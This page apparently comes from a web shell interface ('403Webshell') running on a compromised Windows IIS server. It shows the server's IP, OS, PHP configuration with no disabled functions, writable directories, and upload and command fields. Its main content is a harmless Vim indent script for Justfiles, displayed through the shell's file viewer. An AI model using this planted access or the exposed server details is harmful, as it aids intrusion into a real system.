403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/Git/usr/share/vim/vim91/indent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/Git/usr/share/vim/vim91/indent/just.vim
" Vim indent file
" Language:	Justfile
" Maintainer:	Peter Benjamin <@pbnj>
" Last Change:	2025 Jan 19
" Credits:	The original author, Noah Bogart <https://github.com/NoahTheDuke/vim-just/>

" Only load this indent file when no other was loaded yet.
if exists("b:did_indent")
  finish
endif
let b:did_indent = 1

setlocal indentexpr=GetJustfileIndent()
setlocal indentkeys=0},0),!^F,o,O,0=''',0=\"\"\"

let b:undo_indent = "setlocal indentexpr< indentkeys<"

if exists("*GetJustfileIndent")
  finish
endif

function GetJustfileIndent()
  if v:lnum < 2
    return 0
  endif

  let prev_line = getline(v:lnum - 1)
  let last_indent = indent(v:lnum - 1)

  if getline(v:lnum) =~ "\\v^\\s+%([})]|'''$|\"\"\"$)"
    return last_indent - shiftwidth()
  elseif prev_line =~ '\V#'
    return last_indent
  elseif prev_line =~ "\\v%([:{(]|^.*\\S.*%([^']'''|[^\"]\"\"\"))\\s*$"
    return last_indent + shiftwidth()
  elseif prev_line =~ '\\$'
    if v:lnum == 2 || getline(v:lnum - 2) !~ '\\$'
      if prev_line =~ '\v:\=@!'
        return last_indent + shiftwidth() + shiftwidth()
      else
        return last_indent + shiftwidth()
      endif
    endif
  elseif v:lnum > 2 && getline(v:lnum - 2) =~ '\\$'
    return last_indent - shiftwidth()
  elseif prev_line =~ '\v:\s*%(\h|\()' && prev_line !~ '\V:='
    return last_indent + shiftwidth()
  endif

  return last_indent
endfunction

Youez - 2016 - github.com/yon3zu
LinuXploit